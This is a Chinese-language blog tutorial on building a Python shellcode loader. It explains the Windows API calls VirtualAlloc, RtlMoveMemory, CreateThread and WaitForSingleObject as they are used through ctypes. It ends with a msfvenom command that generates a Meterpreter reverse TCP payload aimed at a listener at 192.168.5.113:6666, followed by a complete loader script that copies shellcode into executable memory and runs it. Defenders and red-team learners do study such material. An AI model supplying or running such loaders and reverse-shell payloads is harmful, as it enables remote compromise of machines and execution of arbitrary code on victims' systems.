天天看點

python-shellcode加載器初體驗

@Author:Y4tacker

文章目錄

  • ​​python-shellcode加載器​​
  • ​​流程​​
  • ​​函數介紹​​
  • ​​VirtualAlloc​​
  • ​​RtlMoveMemory​​
  • ​​CreateThread​​
  • ​​WaitForSingleObject​​
  • ​​實戰​​

python-shellcode加載器

主要是利用ctypes庫來調用windows的api來完成加載shellcode的操作

流程

将shellcode加載進記憶體并執行

函數介紹

VirtualAlloc

申請記憶體調用VirtualAlloc函數,來申請一塊動态記憶體區域。VirtualAlloc函數原型和參數如下:

LPVOID VirtualAlloc{
LPVOID lpAddress, #要配置設定的記憶體區域的位址
DWORD dwSize,      #配置設定的大小
DWORD flAllocationType, #配置設定的類型
DWORD flProtect     #該記憶體的初始保護屬性
};      

python

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)), 
ctypes.c_int(0x3000),                                       
ctypes.c_int(0x40))      
ctypes.c_int(0) 是NULL,系統将會決定配置設定記憶體區域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode)) 以位元組為機關配置設定或者保留多大區域
ctypes.c_int(0x3000) 是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)類型的合并
ctypes.c_int(0x40) 是權限為PAGE_EXECUTE_READWRITE 該區域可以執行代碼,應用程式可以讀寫該區域。

RtlMoveMemory

調用RtlMoveMemory函數可以将shellcode載入記憶體,此函數從指定記憶體中複制内容至另一記憶體裡。RtlMoveMemory函數原型和參數如下

RtlMoveMemory(Destination,Source,Length);
Destination :指向移動目的位址的指針。
Source :指向要複制的記憶體位址的指針。
Length :指定要複制的位元組數。      

在python中

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf, ctypes.c_int(len(shellcode)))      

CreateThread

建立程序調用CreateThread将在主線程的基礎上建立一個新線程CreateThread函數原型和參數如下:

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#線程安全屬性
SIZE_T dwStackSize,       #置初始棧的大小,以位元組為機關
LPTHREAD_START_ROUTINE lpStartAddress,  #指向線程函數的指針
LPVOID lpParameter,          #向線程函數傳遞的參數
DWORD dwCreationFlags,       #線程建立屬性
LPDWORD lpThreadId           #儲存新線程的id
)      

在python

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0))      
lpThreadAttributes 為NULL使用預設安全性
dwStackSize 為0,預設将使用與調用該函數的線程相同的棧空間大小
lpStartAddress 為ctypes.c_uint64(ptr),定位到申請的記憶體所在的位置
lpParameter 不需傳遞參數時為NULL
dwCreationFlags 屬性為0,表示建立後立即激活
lpThreadId 為ctypes.pointer(ctypes.c_int(0))不想傳回線程ID,設定值為NULL

WaitForSingleObject

等待線程結束調用WaitForSingleObject函數用來檢測線程的狀态WaitForSingleObject函數原型和參數

DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle,     #對象句柄。可以指定一系列的對象
__in DWORD dwMilliseconds  #定時時間間隔
);      

在python裡

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))      

正常的話我們建立的線程是需要一直運作的,是以将時間設為負數,等待時間将成為無限等待,程式就不會結束

實戰

首先用msf生成shellcode

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.5.113 lport=6666 -f py > 1.txt      
import ctypes

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
CreateThread = ctypes.windll.kernel32.CreateThread
WaitForSingleObject = ctypes.windll.kernel32.WaitForSingleObject

#shellcode可以用msf來生成
buf = b""

shellcode = bytearray(buf)
VirtualAlloc.restype = ctypes.c_void_p  # 重載函數傳回類型為void
p = VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), 0x3000, 0x00000040)  # 申請記憶體
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  # 将shellcode指向指針
RtlMoveMemory(ctypes.c_void_p(p), buf, ctypes.c_int(len(shellcode)))  # 複制shellcode進申請的記憶體中
h = CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(p), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))  # 執行建立線程
WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))  # 檢測線程建立事件